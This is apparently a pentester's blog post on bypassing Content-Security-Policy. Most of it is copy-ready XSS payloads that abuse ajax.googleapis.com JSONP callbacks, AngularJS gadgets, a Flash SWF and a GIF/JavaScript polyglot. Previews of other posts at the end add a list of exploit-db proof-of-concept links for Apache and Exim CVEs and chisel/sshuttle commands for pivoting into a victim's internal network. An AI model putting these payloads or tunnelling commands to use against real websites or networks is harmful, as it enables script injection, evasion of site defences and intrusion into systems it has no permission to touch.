Skip to main content

Bypassing Content-Security-Policy


- CSP can be implemented via 
	- Response header
	- Meta tag 
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> 

Bypass CSP via ajax.googleapis.com
  • via Flash file
  • via Polyglot file
  • via AngularJS
Bypass CSP via ajax.googleapis.com 

Check `Content-Security-Policy: script-src 'self' ajax.googleapis.com`
	- here script-src 'self'   ajax.googleapis.com means -> it allows only the same domains scripts +  ajax.googleapis.com scripts

<div ng-app ng-csp id=p ng-click=$event.view.alert("XSS")><script src="//ajax.googleapis.com/ajax/libs/angular/1.6.6/angular.min.js></script> <script async src=//ajax.googleapis.com/jsapi?callback=p.click></script>
Bypass CSP via Flash File

Works if the CSP is `Content-Security-Policy: script-src 'self'`; when the only restriction is script- we can bypass it using Flash File

<object type='application/x-shockwave-flash' data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\%22})))}catch(e) {alert(/XSS/)}//'><param name='AllowScriptAccess' Value='always'></object>
Bypassing CSP via GIF file 

Works if the CSP is  `Content-Security-Policy: default-src 'self'`;  - Which means all the files should be located in the same domain as the host
	- Upload a gif to the target if it has a file upload feature
	- Gif file should have a javascript inside it ; make GIF89a as a variable 
		- GIF89a= 'some GIF data'; alert(document.domain);/*

<script src=GIF_FILE_PATH> </script>
Bypassing CSP via AngularJS

Works if the CSP is `Content-Security-Policy: default-src 'self';  img-src images.local` - Which means all the accept images only from images.local (kind of like a sandbox domain)

This works only if the required libraries are hosted on the target - images.local in this case.


#AngularJS + callback
<div ng-app ng-csp id=p ng-click=$event.view.alert("XSS")><script src="angular-1.6.6.min.js></script> <script async src='/rfd/api/shop/product/id/1?format=json&callback=p.click'></script>

#Angular
<script src="angular-1.6.6.min.js></script><div ng-app ng-csp id=p ng-mouseover=$event.view.alert("XSS")><br/>(Move your mouse over this element)<br/></div>
More at https://github.com/bhaveshk90/Content-Security-Policy-CSP-Bypass-Techniques  



Comments

Popular posts from this blog

POC Links for CVE's

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

Pivoting into an internal network behind firewall

    Accessing a Victim network from Windows box which is pivoted to Kali #On Kali sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24 or ./chisel server --port 9001 -reverse #On Victim ./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks .\chisel.exe client 10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090 #On windows route print #delete default route route delete 0.0.0.0 #add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box route add 0.0.0.0 mask 0.0.0.0 KALI_IP #Now you should be able to access all the sites which are accessible on kali from windows box. #If the above doesnt work #asuming Kali and windows are on Eht0 #add a firewall rule to allow Kali ip traffic netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP #on Kali - Allow tun0 traffic to forward on iptables sudo iptables -P FORWARD ACCEPT ...